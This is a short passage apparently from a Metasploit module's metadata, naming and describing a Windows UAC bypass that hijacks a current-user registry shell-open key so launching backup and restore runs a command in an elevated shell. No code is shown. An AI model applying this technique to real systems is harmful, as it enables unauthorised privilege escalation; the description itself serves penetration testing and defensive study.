'Name' => 'Windows Escalate UAC Protection Bypass (Via Shell Open Registry Key)',  
'Description' => %q(  
This module will bypass Windows UAC by hijacking a special key in the Registry under  
the current user hive, and inserting a custom command that will get invoked when  
Window backup and restore is launched. It will spawn a second shell that has the UAC  
flag turned off.  
  
This module modifies a registry key, but cleans up the key once the payload has  
been invoked.
